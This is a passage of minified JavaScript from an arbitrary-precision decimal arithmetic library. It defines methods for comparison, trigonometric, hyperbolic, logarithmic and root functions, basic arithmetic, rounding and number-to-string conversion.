e.s<0&&(e.s=1),N(e)},M.ceil=function(){return N(new this.constructor(this),this.e+1,2)},M.comparedTo=M.cmp=function(e){var t,n,r,i,a=this,o=a.d,s=(e=new a.constructor(e)).d,l=a.s,u=e.s;if(!o||!s)return l&&u?l!==u?l:o===s?0:!o^l<0?1:-1:NaN;if(!o[0]||!s[0])return o[0]?l:s[0]?-u:0;if(l!==u)return l;if(a.e!==e.e)return a.e>e.e^l<0?1:-1;for(t=0,n=(r=o.length)<(i=s.length)?r:i;t<n;++t)if(o[t]!==s[t])return o[t]>s[t]^l<0?1:-1;return r===i?0:r>i^l<0?1:-1},M.cosine=M.cos=function(){var e,t,n=this,r=n.constructor;return n.d?n.d[0]?(e=r.precision,t=r.rounding,r.precision=e+Math.max(n.e,n.sd())+7,r.rounding=1,n=function(e,t){var n,r,i=t.d.length;i<32?(n=Math.ceil(i/3),r=(1/U(4,n)).toString()):(n=16,r="2.3283064365386962890625e-10");e.precision+=n,t=Y(e,1,t.times(r),new e(1));for(var a=n;a--;){var o=t.times(t);t=o.times(o).minus(o).times(8).plus(1)}return e.precision-=n,t}(r,$(r,n)),r.precision=e,r.rounding=t,N(2==s||3==s?n.neg():n,e,t,!0)):new r(1):new r(NaN)},M.cubeRoot=M.cbrt=function(){var e,t,n,r,i,a,o,s,l,u,c=this,f=c.constructor;if(!c.isFinite()||c.isZero())return new f(c);for(d=!1,(a=c.s*v(c.s*c,1/3))&&Math.abs(a)!=1/0?r=new f(a.toString()):(n=S(c.d),(a=((e=c.e)-n.length+1)%3)&&(n+=1==a||-2==a?"0":"00"),a=v(n,1/3),e=m((e+1)/3)-(e%3==(e<0?-1:2)),(r=new f(n=a==1/0?"5e"+e:(n=a.toExponential()).slice(0,n.indexOf("e")+1)+e)).s=c.s),o=(e=f.precision)+3;;)if(u=(l=(s=r).times(s).times(s)).plus(c),r=C(u.plus(c).times(s),u.plus(l),o+2,1),S(s.d).slice(0,o)===(n=S(r.d)).slice(0,o)){if("9999"!=(n=n.slice(o-3,o+1))&&(i||"4999"!=n)){+n&&(+n.slice(1)||"5"!=n.charAt(0))||(N(r,e+1,1),t=!r.times(r).times(r).eq(c));break}if(!i&&(N(s,e+1,0),s.times(s).times(s).eq(c))){r=s;break}o+=4,i=1}return d=!0,N(r,e,f.rounding,t)},M.decimalPlaces=M.dp=function(){var e,t=this.d,n=NaN;if(t){if(n=7*((e=t.length-1)-m(this.e/7)),e=t[e])for(;e%10==0;e/=10)n--;n<0&&(n=0)}return n},M.dividedBy=M.div=function(e){return C(this,new this.constructor(e))},M.dividedToIntegerBy=M.divToInt=function(e){var t=this.constructor;return N(C(this,new t(e),0,1,1),t.precision,t.rounding)},M.equals=M.eq=function(e){return 0===this.cmp(e)},M.floor=function(){return N(new this.constructor(this),this.e+1,3)},M.greaterThan=M.gt=function(e){return this.cmp(e)>0},M.greaterThanOrEqualTo=M.gte=function(e){var t=this.cmp(e);return 1==t||0===t},M.hyperbolicCosine=M.cosh=function(){var e,t,n,r,i,a=this,o=a.constructor,s=new o(1);if(!a.isFinite())return new o(a.s?1/0:NaN);if(a.isZero())return s;n=o.precision,r=o.rounding,o.precision=n+Math.max(a.e,a.sd())+4,o.rounding=1,(i=a.d.length)<32?t=(1/U(4,e=Math.ceil(i/3))).toString():(e=16,t="2.3283064365386962890625e-10"),a=Y(o,1,a.times(t),new o(1),!0);for(var l,u=e,c=new o(8);u--;)l=a.times(a),a=s.minus(l.times(c.minus(l.times(c))));return N(a,o.precision=n,o.rounding=r,!0)},M.hyperbolicSine=M.sinh=function(){var e,t,n,r,i=this,a=i.constructor;if(!i.isFinite()||i.isZero())return new a(i);if(t=a.precision,n=a.rounding,a.precision=t+Math.max(i.e,i.sd())+4,a.rounding=1,(r=i.d.length)<3)i=Y(a,2,i,i,!0);else{e=(e=1.4*Math.sqrt(r))>16?16:0|e,i=Y(a,2,i=i.times(1/U(5,e)),i,!0);for(var o,s=new a(5),l=new a(16),u=new a(20);e--;)o=i.times(i),i=i.times(s.plus(o.times(l.times(o).plus(u))))}return a.precision=t,a.rounding=n,N(i,t,n,!0)},M.hyperbolicTangent=M.tanh=function(){var e,t,n=this,r=n.constructor;return n.isFinite()?n.isZero()?new r(n):(e=r.precision,t=r.rounding,r.precision=e+7,r.rounding=1,C(n.sinh(),n.cosh(),r.precision=e,r.rounding=t)):new r(n.s)},M.inverseCosine=M.acos=function(){var e,t=this,n=t.constructor,r=t.abs().cmp(1),i=n.precision,a=n.rounding;return-1!==r?0===r?t.isNeg()?D(n,i,a):new n(0):new n(NaN):t.isZero()?D(n,i+4,a).times(.5):(n.precision=i+6,n.rounding=1,t=t.asin(),e=D(n,i+4,a).times(.5),n.precision=i,n.rounding=a,e.minus(t))},M.inverseHyperbolicCosine=M.acosh=function(){var e,t,n=this,r=n.constructor;return n.lte(1)?new r(n.eq(1)?0:NaN):n.isFinite()?(e=r.precision,t=r.rounding,r.precision=e+Math.max(Math.abs(n.e),n.sd())+4,r.rounding=1,d=!1,n=n.times(n).minus(1).sqrt().plus(n),d=!0,r.precision=e,r.rounding=t,n.ln()):new r(n)},M.inverseHyperbolicSine=M.asinh=function(){var e,t,n=this,r=n.constructor;return!n.isFinite()||n.isZero()?new r(n):(e=r.precision,t=r.rounding,r.precision=e+2*Math.max(Math.abs(n.e),n.sd())+6,r.rounding=1,d=!1,n=n.times(n).plus(1).sqrt().plus(n),d=!0,r.precision=e,r.rounding=t,n.ln())},M.inverseHyperbolicTangent=M.atanh=function(){var e,t,n,r,i=this,a=i.constructor;return i.isFinite()?i.e>=0?new a(i.abs().eq(1)?i.s/0:i.isZero()?i:NaN):(e=a.precision,t=a.rounding,r=i.sd(),Math.max(r,e)<2*-i.e-1?N(new a(i),e,t,!0):(a.precision=n=r-i.e,i=C(i.plus(1),new a(1).minus(i),n+e,1),a.precision=e+4,a.rounding=1,i=i.ln(),a.precision=e,a.rounding=t,i.times(.5))):new a(NaN)},M.inverseSine=M.asin=function(){var e,t,n,r,i=this,a=i.constructor;return i.isZero()?new a(i):(t=i.abs().cmp(1),n=a.precision,r=a.rounding,-1!==t?0===t?((e=D(a,n+4,r).times(.5)).s=i.s,e):new a(NaN):(a.precision=n+6,a.rounding=1,i=i.div(new a(1).minus(i.times(i)).sqrt().plus(1)).atan(),a.precision=n,a.rounding=r,i.times(2)))},M.inverseTangent=M.atan=function(){var e,t,n,r,i,a,o,s,l,u=this,c=u.constructor,f=c.precision,h=c.rounding;if(u.isFinite()){if(u.isZero())return new c(u);if(u.abs().eq(1)&&f+4<=_)return(o=D(c,f+4,h).times(.25)).s=u.s,o}else{if(!u.s)return new c(NaN);if(f+4<=_)return(o=D(c,f+4,h).times(.5)).s=u.s,o}for(c.precision=s=f+10,c.rounding=1,e=n=Math.min(28,s/7+2|0);e;--e)u=u.div(u.times(u).plus(1).sqrt().plus(1));for(d=!1,t=Math.ceil(s/7),r=1,l=u.times(u),o=new c(u),i=u;-1!==e;)if(i=i.times(l),a=o.minus(i.div(r+=2)),i=i.times(l),void 0!==(o=a.plus(i.div(r+=2))).d[t])for(e=t;o.d[e]===a.d[e]&&e--;);return n&&(o=o.times(2<<n-1)),d=!0,N(o,c.precision=f,c.rounding=h,!0)},M.isFinite=function(){return!!this.d},M.isInteger=M.isInt=function(){return!!this.d&&m(this.e/7)>this.d.length-2},M.isNaN=function(){return!this.s},M.isNegative=M.isNeg=function(){return this.s<0},M.isPositive=M.isPos=function(){return this.s>0},M.isZero=function(){return!!this.d&&0===this.d[0]},M.lessThan=M.lt=function(e){return this.cmp(e)<0},M.lessThanOrEqualTo=M.lte=function(e){return this.cmp(e)<1},M.logarithm=M.log=function(e){var t,n,r,i,a,o,s,l,u=this.constructor,c=u.precision,f=u.rounding;if(null==e)e=new u(10),t=!0;else{if(n=(e=new u(e)).d,e.s<0||!n||!n[0]||e.eq(1))return new u(NaN);t=e.eq(10)}if(n=this.d,this.s<0||!n||!n[0]||this.eq(1))return new u(n&&!n[0]?-1/0:1!=this.s?NaN:n?0:1/0);if(t)if(n.length>1)a=!0;else{for(i=n[0];i%10===0;)i/=10;a=1!==i}if(d=!1,o=V(this,s=c+5),r=t?z(u,s+10):V(e,s),O((l=C(o,r,s,1)).d,i=c,f))do{if(o=V(this,s+=10),r=t?z(u,s+10):V(e,s),l=C(o,r,s,1),!a){+S(l.d).slice(i+1,i+15)+1==1e14&&(l=N(l,c+1,0));break}}while(O(l.d,i+=10,f));return d=!0,N(l,c,f)},M.minus=M.sub=function(e){var t,n,r,i,a,o,s,l,u,c,f,h,p=this,v=p.constructor;if(e=new v(e),!p.d||!e.d)return p.s&&e.s?p.d?e.s=-e.s:e=new v(e.d||p.s!==e.s?p:NaN):e=new v(NaN),e;if(p.s!=e.s)return e.s=-e.s,p.plus(e);if(u=p.d,h=e.d,s=v.precision,l=v.rounding,!u[0]||!h[0]){if(h[0])e.s=-e.s;else{if(!u[0])return new v(3===l?-0:0);e=new v(p)}return d?N(e,s,l):e}if(n=m(e.e/7),c=m(p.e/7),u=u.slice(),a=c-n){for((f=a<0)?(t=u,a=-a,o=h.length):(t=h,n=c,o=u.length),a>(r=Math.max(Math.ceil(s/7),o)+2)&&(a=r,t.length=1),t.reverse(),r=a;r--;)t.push(0);t.reverse()}else{for((f=(r=u.length)<(o=h.length))&&(o=r),r=0;r<o;r++)if(u[r]!=h[r]){f=u[r]<h[r];break}a=0}for(f&&(t=u,u=h,h=t,e.s=-e.s),o=u.length,r=h.length-o;r>0;--r)u[o++]=0;for(r=h.length;r>a;){if(u[--r]<h[r]){for(i=r;i&&0===u[--i];)u[i]=w-1;--u[i],u[r]+=w}u[r]-=h[r]}for(;0===u[--o];)u.pop();for(;0===u[0];u.shift())--n;return u[0]?(e.d=u,e.e=A(u,n),d?N(e,s,l):e):new v(3===l?-0:0)},M.modulo=M.mod=function(e){var t,n=this,r=n.constructor;return e=new r(e),!n.d||!e.s||e.d&&!e.d[0]?new r(NaN):!e.d||n.d&&!n.d[0]?N(new r(n),r.precision,r.rounding):(d=!1,9==r.modulo?(t=C(n,e.abs(),0,3,1)).s*=e.s:t=C(n,e,0,r.modulo,1),t=t.times(e),d=!0,n.minus(t))},M.naturalExponential=M.exp=function(){return B(this)},M.naturalLogarithm=M.ln=function(){return V(this)},M.negated=M.neg=function(){var e=new this.constructor(this);return e.s=-e.s,N(e)},M.plus=M.add=function(e){var t,n,r,i,a,o,s,l,u,c,f=this,h=f.constructor;if(e=new h(e),!f.d||!e.d)return f.s&&e.s?f.d||(e=new h(e.d||f.s===e.s?f:NaN)):e=new h(NaN),e;if(f.s!=e.s)return e.s=-e.s,f.minus(e);if(u=f.d,c=e.d,s=h.precision,l=h.rounding,!u[0]||!c[0])return c[0]||(e=new h(f)),d?N(e,s,l):e;if(a=m(f.e/7),r=m(e.e/7),u=u.slice(),i=a-r){for(i<0?(n=u,i=-i,o=c.length):(n=c,r=a,o=u.length),i>(o=(a=Math.ceil(s/7))>o?a+1:o+1)&&(i=o,n.length=1),n.reverse();i--;)n.push(0);n.reverse()}for((o=u.length)-(i=c.length)<0&&(i=o,n=c,c=u,u=n),t=0;i;)t=(u[--i]=u[i]+c[i]+t)/w|0,u[i]%=w;for(t&&(u.unshift(t),++r),o=u.length;0==u[--o];)u.pop();return e.d=u,e.e=A(u,r),d?N(e,s,l):e},M.precision=M.sd=function(e){var t,n=this;if(void 0!==e&&e!==!!e&&1!==e&&0!==e)throw Error(p+e);return n.d?(t=I(n.d),e&&n.e+1>t&&(t=n.e+1)):t=NaN,t},M.round=function(){var e=this,t=e.constructor;return N(new t(e),e.e+1,t.rounding)},M.sine=M.sin=function(){var e,t,n=this,r=n.constructor;return n.isFinite()?n.isZero()?new r(n):(e=r.precision,t=r.rounding,r.precision=e+Math.max(n.e,n.sd())+7,r.rounding=1,n=function(e,t){var n,r=t.d.length;if(r<3)return Y(e,2,t,t);n=(n=1.4*Math.sqrt(r))>16?16:0|n,t=t.times(1/U(5,n)),t=Y(e,2,t,t);for(var i,a=new e(5),o=new e(16),s=new e(20);n--;)i=t.times(t),t=t.times(a.plus(i.times(o.times(i).minus(s))));return t}(r,$(r,n)),r.precision=e,r.rounding=t,N(s>2?n.neg():n,e,t,!0)):new r(NaN)},M.squareRoot=M.sqrt=function(){var e,t,n,r,i,a,o=this,s=o.d,l=o.e,u=o.s,c=o.constructor;if(1!==u||!s||!s[0])return new c(!u||u<0&&(!s||s[0])?NaN:s?o:1/0);for(d=!1,0==(u=Math.sqrt(+o))||u==1/0?(((t=S(s)).length+l)%2==0&&(t+="0"),u=Math.sqrt(t),l=m((l+1)/2)-(l<0||l%2),r=new c(t=u==1/0?"1e"+l:(t=u.toExponential()).slice(0,t.indexOf("e")+1)+l)):r=new c(u.toString()),n=(l=c.precision)+3;;)if(r=(a=r).plus(C(o,a,n+2,1)).times(.5),S(a.d).slice(0,n)===(t=S(r.d)).slice(0,n)){if("9999"!=(t=t.slice(n-3,n+1))&&(i||"4999"!=t)){+t&&(+t.slice(1)||"5"!=t.charAt(0))||(N(r,l+1,1),e=!r.times(r).eq(o));break}if(!i&&(N(a,l+1,0),a.times(a).eq(o))){r=a;break}n+=4,i=1}return d=!0,N(r,l,c.rounding,e)},M.tangent=M.tan=function(){var e,t,n=this,r=n.constructor;return n.isFinite()?n.isZero()?new r(n):(e=r.precision,t=r.rounding,r.precision=e+10,r.rounding=1,(n=n.sin()).s=1,n=C(n,new r(1).minus(n.times(n)).sqrt(),e+10,0),r.precision=e,r.rounding=t,N(2==s||4==s?n.neg():n,e,t,!0)):new r(NaN)},M.times=M.mul=function(e){var t,n,r,i,a,o,s,l,u,c=this,f=c.constructor,h=c.d,p=(e=new f(e)).d;if(e.s*=c.s,!h||!h[0]||!p||!p[0])return new f(!e.s||h&&!h[0]&&!p||p&&!p[0]&&!h?NaN:h&&p?0*e.s:e.s/0);for(n=m(c.e/7)+m(e.e/7),(l=h.length)<(u=p.length)&&(a=h,h=p,p=a,o=l,l=u,u=o),a=[],r=o=l+u;r--;)a.push(0);for(r=u;--r>=0;){for(t=0,i=l+r;i>r;)s=a[i]+p[r]*h[i-r-1]+t,a[i--]=s%w|0,t=s/w|0;a[i]=(a[i]+t)%w|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=A(a,n),d?N(e,f.precision,f.rounding):e},M.toBinary=function(e,t){return G(this,2,e,t)},M.toDecimalPlaces=M.toDP=function(e,t){var n=this,r=n.constructor;return n=new r(n),void 0===e?n:(T(e,0,1e9),void 0===t?t=r.rounding:T(t,0,8),N(n,e+n.e+1,t))},M.toExponential=function(e,t){var n,r=this,i=r.constructor;return void 0===e?n=P(r,!0):(T(e,0,1e9),void 0===t?t=i.rounding:T(t,0,8),n=P(r=N(new i(r),e+1,t),!0,e+1)),r.isNeg()&&!r.isZero()?"-"+n:n},M.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return void 0===e?n=P(i):(T(e,0,1e9),void 0===t?t=a.rounding:T(t,0,8),n=P(r=N(new a(i),e+i.e+1,t),!1,e+r.e+1)),i.isNeg()&&!i.isZero()?"-"+n:n},M.toFraction=function(e){var t,n,r,i,a,o,s,l,u,c,f,h,m=this,g=m.d,y=m.constructor;if(!g)return new y(m);if(u=n=new y(1),r=l=new y(0),o=(a=(t=new y(r)).e=I(g)-m.e-1)%7,t.d[0]=v(10,o<0?7+o:o),null==e)e=a>0?t:u;else{if(!(s=new y(e)).isInt()||s.lt(u))throw Error(p+s);e=s.gt(t)?a>0?t:u:s}for(d=!1,s=new y(S(g)),c=y.precision,y.precision=a=7*g.length*2;f=C(s,t,0,1,1),1!=(i=n.plus(f.times(r))).cmp(e);)n=r,r=i,i=u,u=l.plus(f.times(i)),l=i,i=t,t=s.minus(f.times(i)),s=i;return i=C(e.minus(n),r,0,1,1),l=l.plus(i.times(u)),n=n.plus(i.times(r)),l.s=u.s=m.s,h=C(u,r,a,1).minus(m).abs().cmp(C(l,n,a,1).minus(m).abs())<1?[u,r]:[l,n],y.precision=c,d=!0,h},M.toHexadecimal=M.toHex=function(e,t){return G(this,16,e,t)},M.toNearest=function(e,t){var n=this,r=n.constructor;if(n=new r(n),null==e){if(!n.d)return n;e=new r(1),t=r.rounding}else{if(e=new r(e),void 0===t?t=r.rounding:T(t,0,8),!n.d)return e.s?n:e;if(!e.d)return e.s&&(e.s=n.s),e}return e.d[0]?(d=!1,n=C(n,e,0,t,1).times(e),d=!0,N(n)):(e.s=n.s,n=e),n},M.toNumber=function(){return+this},M.toOctal=function(e,t){return G(this,8,e,t)},M.toPower=M.pow=function(e){var t,n,r,i,a,o,s=this,l=s.constructor,u=+(e=new l(e));if(!s.d||!e.d||!s.d[0]||!e.d[0])return new l(v(+s,u));if((s=new l(s)).eq(1))return s;if(r=l.precision,a=l.rounding,e.eq(1))return N(s,r,a);if((t=m(e.e/7))>=e.d.length-1&&(n=u<0?-u:u)<=9007199254740991)return i=j(l,s,n,r),e.s<0?new l(1).div(i):N(i,r,a);if((o=s.s)<0){if(t<e.d.length-1)return new l(NaN);if(0==(1&e.d[t])&&(o=1),0==s.e&&1==s.d[0]&&1==s.d.length)return s.s=o,s}return(t=0!=(n=v(+s,u))&&isFinite(n)?new l(n+"").e:m(u*(Math.log("0."+S(s.d))/Math.LN10+s.e+1)))>l.maxE+1||t<l.minE-1?new l(t>0?o/0:0):(d=!1,l.rounding=s.s=1,n=Math.min(12,(t+"").length),(i=B(e.times(V(s,r+n)),r)).d&&O((i=N(i,r+5,1)).d,r,a)&&(t=r+10,+S((i=N(B(e.times(V(s,t+n)),t),t+5,1)).d).slice(r+1,r+15)+1==1e14&&(i=N(i,r+1,0))),i.s=o,d=!0,l.rounding=a,N(i,r,a))},M.toPrecision=function(e,t){var n,r=this,i=r.constructor;return void 0===e?n=P(r,r.e<=i.toExpNeg||r.e>=i.toExpPos):(T(e,1,1e9),void 0===t?t=i.rounding:T(t,0,8),n=P(r=N(new i(r),e,t),e<=r.e||r.e<=i.toExpNeg,e)),r.isNeg()&&!r.isZero()?"-"+n:n},M.toSignificantDigits=M.toSD=function(e,t){var n=this.constructor;return void 0===e?(e=n.precision,t=n.rounding):(T(e,1,1e9),void 0===t?t=n.rounding:T(t,0,8)),N(new n(this),e,t)},M.toString=function(){var e=this,t=e.constructor,n=P(e,e.e<=t.toExpNeg||e.e>=t.toExpPos);return e.isNeg()&&!e.isZero()?"-"+n:n},M.truncated=M.trunc=function(){return N(new this.constructor(this),this.e+1,1)},M.valueOf=M.toJSON=function(){var e=this,t=e.constructor,n=P(e,e.e<=t.toExpNeg||e.e>=t.toExpPos);return e.isNeg()?"-"+n:n};var C=function(){function e(e,t,n){var r,i=0,a=e.length;for(e=e.slice();a--;)r=e[a]*t+i,e[a]=r%n|0,i=r/n|0;return i&&e.unshift(i),e}function t(e,t,n,r){var i,a;if(n!=r)a=n>r?1:-1;else for(i=a=0;i<n;i++)if(e[i]!=t[i]){a=e[i]>t[i]?1:-1;break}return a}function n(e,t,n,r){for(var i=0;n--;)e[n]-=i,i=e[n]<t[n]?1:0,e[n]=i*r+e[n]-t[n];for(;!e[0]&&e.length>1;)e.shift()}return function(r,i,a,s,l,u){var c,f,h,d,p,v,g,y,b,x,k,_,M,S,T,O,E,C,P,A,z=r.constructor,D=r.s==i.s?1:-1,I=r.d,R=i.d;if(!I||!I[0]||!R||!R[0])return new z(r.s&&i.s&&(I?!R||I[0]!=R[0]:R)?I&&0==I[0]||!R?0*D:D/0:NaN);for(u?(p=1,f=r.e-i.e):(u=w,p=7,f=m(r.e/p)-m(i.e/p)),P=R.length,E=I.length,x=(b=new z(D)).d=[],h=0;R[h]==(I[h]||0);h++);if(R[h]>(I[h]||0)&&f--,null==a?(S=a=z.precision,s=z.rounding):S=l?a+(r.e-i.e)+1:a,S<0)x.push(1),v=!0;else{if(S=S/p+2|0,h=0,1==P){for(d=0,R=R[0],S++;(h<E||d)&&S--;h++)T=d*u+(I[h]||0),x[h]=T/R|0,d=T%R|0;v=d||h<E}else{for((d=u/(R[0]+1)|0)>1&&(R=e(R,d,u),I=e(I,d,u),P=R.length,E=I.length),O=P,_=(k=I.slice(0,P)).length;_<P;)k[_++]=0;(A=R.slice()).unshift(0),C=R[0],R[1]>=u/2&&++C;do{d=0,(c=t(R,k,P,_))<0?(M=k[0],P!=_&&(M=M*u+(k[1]||0)),(d=M/C|0)>1?(d>=u&&(d=u-1),1==(c=t(g=e(R,d,u),k,y=g.length,_=k.length))&&(d--,n(g,P<y?A:R,y,u))):(0==d&&(c=d=1),g=R.slice()),(y=g.length)<_&&g.unshift(0),n(k,g,_,u),-1==c&&(c=t(R,k,P,_=k.length))<1&&(d++,n(k,P<_?A:R,_,u)),_=k.length):0===c&&(d++,k=[0]),x[h++]=d,c&&k[0]?k[_++]=I[O]||0:(k=[I[O]],_=1)}while((O++<E||void 0!==k[0])&&S--);v=void 0!==k[0]}x[0]||x.shift()}if(1==p)b.e=f,o=v;else{for(h=1,d=x[0];d>=10;d/=10)h++;b.e=h+f*p-1,N(b,l?a+b.e+1:a,s,v)}return b}}();function N(e,t,n,r){var i,a,o,s,l,u,c,f,h,p=e.constructor;e:if(null!=t){if(!(f=e.d))return e;for(i=1,s=f[0];s>=10;s/=10)i++;if((a=t-i)<0)a+=7,o=t,l=(c=f[h=0])/v(10,i-o-1)%10|0;else if((h=Math.ceil((a+1)/7))>=(s=f.length)){if(!r)break e;for(;s++<=h;)f.push(0);c=l=0,i=1,o=(a%=7)-7+1}else{for(c=s=f[h],i=1;s>=10;s/=10)i++;l=(o=(a%=7)-7+i)<0?0:c/v(10,i-o-1)%10|0}if(r=r||t<0||void 0!==f[h+1]||(o<0?c:c%v(10,i-o-1)),u=n<4?(l||r)&&(0==n||n==(e.s<0?3:2)):l>5||5==l&&(4==n||r||6==n&&(a>0?o>0?c/v(10,i-o):0:f[h-1])%10&1||n==(e.s<0?8:7)),t<1||!f[0])return f.length=0,u?(t-=e.e+1,f[0]=v(10,(7-t%7)%7),e.e=-t||0):f[0]=e.e=0,e;if(0==a?(f.length=h,s=1,h--):(f.length=h+1,s=v(10,7-a),f[h]=o>0?(c/v(10,i-o)%v(10,o)|0)*s:0),u)for(;;){if(0==h){for(a=1,o=f[0];o>=10;o/=10)a++;for(o=f[0]+=s,s=1;o>=10;o/=10)s++;a!=s&&(e.e++,f[0]==w&&(f[0]=1));break}if(f[h]+=s,f[h]!=w)break;f[h--]=0,s=1}for(a=f.length;0===f[--a];)f.pop()}return d&&(e.e>p.maxE?(e.d=null,e.e=NaN):e.e<p.minE&&(e.e=0,e.d=[0])),e}function P(e,t,n){if(!e.isFinite())return H(e);var r,i=e.e,a=S(e.d),o=a.length;return t?(n&&(r=n-o)>0?a=a.charAt(0)+"."+a.slice(1)+R(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(e.e<0?"e":"e+")+e.e):i<0?(a="0."+R(-i-1)+a,n&&(r=n-o)>0&&(a+=R(r))):i>=o?(a+=R(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+R(r))):((r=i+1)<o&&(a=a.slice(0,r)+"."+a.slice(r)),n&&(r=n-o)>0&&(i+1===o&&(a+="."),a+=R(r))),a}function A(e,t){var n=e[0];for(t*=7;n>=10;n/=10)t++;return t}function z(e,t,n){if(t>k)throw d=!0,n&&(e.precision=n),Error("[DecimalError] Precision limit exceeded");return N(new e(c),t,1,!0)}function D(e,t,n){if(t>_)throw Error("[DecimalError] Precision limit exceeded");return N(new e(f),t,n,!0)}function I(e){var t=e.length-1,n=7*t+1;if(t=e[t]){for(;t%10==0;t/=10)n--;for(t=e[0];t>=10;t/=10)n++}return n}function R(e){for(var t="";e--;)t+="0";return t}function j(e,t,n,r){var i,a=new e(1),o=Math.ceil(r/7+4);for(d=!1;;){if(n%2&&Z((a=a.times(t)).d,o)&&(i=!0),0===(n=m(n/2))){n=a.d.length-1,i&&0===a.d[n]&&++a.d[n];break}Z((t=t.times(t)).d,o)}return d=!0,a}function F(e){return 1&e.d[e.d.length-1]}function L(e,t,n){for(var r,i=new e(t[0]),a=0;++a<t.length;){if(!(r=new e(t[a])).s){i=r;break}i[n](r)&&(i=r)}return i}function B(e,t){var n,r,i,a,o,s,l,u=0,c=0,f=0,h=e.constructor,p=h.rounding,m=h.precision;if(!e.d||!e.d[0]||e.e>17)return new h(e.d?e.d[0]?e.s<0?0:1/0:1:e.s?e.s<0?0:e:NaN);for(null==t?(d=!1,l=m):l=t,s=new h(.03125);e.e>-2;)e=e.times(s),f+=5;for(l+=r=Math.log(v(2,f))/Math.LN10*2+5|0,n=a=o=new h(1),h.precision=l;;){if(a=N(a.times(e),l,1),n=n.times(++c),S((s=o.plus(C(a,n,l,1))).d).slice(0,l)===S(o.d).slice(0,l)){for(i=f;i--;)o=N(o.times(o),l,1);if(null!=t)return h.precision=m,o;if(!(u<3&&O(o.d,l-r,p,u)))return N(o,h.precision=m,p,d=!0);h.precision=l+=10,n=a=s=new h(1),c=0,u++}o=s}}function V(e,t){var n,r,i,a,o,s,l,u,c,f,h,p=1,m=e,v=m.d,g=m.constructor,y=g.rounding,b=g.precision;if(m.s<0||!v||!v[0]||!m.e&&1==v[0]&&1==v.length)return new g(v&&!v[0]?-1/0:1!=m.s?NaN:v?0:m);if(null==t?(d=!1,c=b):c=t,g.precision=c+=10,r=(n=S(v)).charAt(0),!(Math.abs(a=m.e)<15e14))return u=z(g,c+2,b).times(a+""),m=V(new g(r+"."+n.slice(1)),c-10).plus(u),g.precision=b,null==t?N(m,b,y,d=!0):m;for(;r<7&&1!=r||1==r&&n.charAt(1)>3;)r=(n=S((m=m.times(e)).d)).charAt(0),p++;for(a=m.e,r>1?(m=new g("0."+n),a++):m=new g(r+"."+n.slice(1)),f=m,l=o=m=C(m.minus(1),m.plus(1),c,1),h=N(m.times(m),c,1),i=3;;){if(o=N(o.times(h),c,1),S((u=l.plus(C(o,new g(i),c,1))).d).slice(0,c)===S(l.d).slice(0,c)){if(l=l.times(2),0!==a&&(l=l.plus(z(g,c+2,b).times(a+""))),l=C(l,new g(p),c,1),null!=t)return g.precision=b,l;if(!O(l.d,c-10,y,s))return N(l,g.precision=b,y,d=!0);g.precision=c+=10,u=o=m=C(f.minus(1),f.plus(1),c,1),h=N(m.times(m),c,1),i=s=1}l=u,i+=2}}function H(e){return String(e.s*e.s/0)}function W(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;48===t.charCodeAt(r);r++);for(i=t.length;48===t.charCodeAt(i-1);--i);if(t=t.slice(r,i)){if(i-=r,e.e=n=n-r-1,e.d=[],r=(n+1)%7,n<0&&(r+=7),r<i){for(r&&e.d.push(+t.slice(0,r)),i-=7;r<i;)e.d.push(+t.slice(r,r+=7));r=7-(t=t.slice(r)).length}else r-=i;for(;r--;)t+="0";e.d.push(+t),d&&(e.e>e.constructor.maxE?(e.d=null,e.e=NaN):e.e<e.constructor.minE&&(e.e=0,e.d=[0]))}else e.e=0,e.d=[0];return e}function q(e,t){var n,r,i,o,s,l,u,c,f;if("Infinity"===t||"NaN"===t)return+t||(e.s=NaN),e.e=NaN,e.d=null,e;if(y.test(t))n=16,t=t.toLowerCase();else if(g.test(t))n=2;else{if(!b.test(t))throw Error(p+t);n=8}for((o=t.search(/p/i))>0?(u=+t.slice(o+1),t=t.substring(2,o)):t=t.slice(2),s=(o=t.indexOf("."))>=0,r=e.constructor,s&&(o=(l=(t=t.replace(".","")).length)-o,i=j(r,new r(n),o,2*o)),o=f=(c=E(t,n,w)).length-1;0===c[o];--o)c.pop();return o<0?new r(0*e.s):(e.e=A(c,f),e.d=c,d=!1,s&&(e=C(e,i,4*l)),u&&(e=e.times(Math.abs(u)<54?v(2,u):a.pow(2,u))),d=!0,e)}function Y(e,t,n,r,i){var a,o,s,l,u=e.precision,c=Math.ceil(u/7);for(d=!1,l=n.times(n),s=new e(r);;){if(o=C(s.times(l),new e(t++*t++),u,1),s=i?r.plus(o):r.minus(o),r=C(o.times(l),new e(t++*t++),u,1),void 0!==(o=s.plus(r)).d[c]){for(a=c;o.d[a]===s.d[a]&&a--;);if(-1==a)break}a=s,s=r,r=o,o=a}return d=!0,o.d.length=c+1,o}function U(e,t){for(var n=e;--t;)n*=e;return n}function $(e,t){var n,r=t.s<0,i=D(e,e.precision,1),a=i.times(.5);if((t=t.abs()).lte(a))return s=r?4:1,t;if((n=t.divToInt(i)).isZero())s=r?3:2;else{if((t=t.minus(n.times(i))).lte(a))return s=F(n)?r?2:3:r?4:1,t;s=F(n)?r?1:4:r?3:2}return t.minus(i).abs()}function G(e,t,n,r){var i,a,s,l,c,f,h,d,p,m=e.constructor,v=void 0!==n;if(v?(T(n,1,1e9),void 0===r?r=m.rounding:T(r,0,8)):(n=m.precision,r=m.rounding),e.isFinite()){for(v?(i=2,16==t?n=4*n-3:8==t&&(n=3*n-2)):i=t,(s=(h=P(e)).indexOf("."))>=0&&(h=h.replace(".",""),(p=new m(1)).e=h.length-s,p.d=E(P(p),10,i),p.e=p.d.length),a=c=(d=E(h,10,i)).length;0==d[--c];)d.pop();if(d[0]){if(s<0?a--:((e=new m(e)).d=d,e.e=a,d=(e=C(e,p,n,r,0,i)).d,a=e.e,f=o),s=d[n],l=i/2,f=f||void 0!==d[n+1],f=r<4?(void 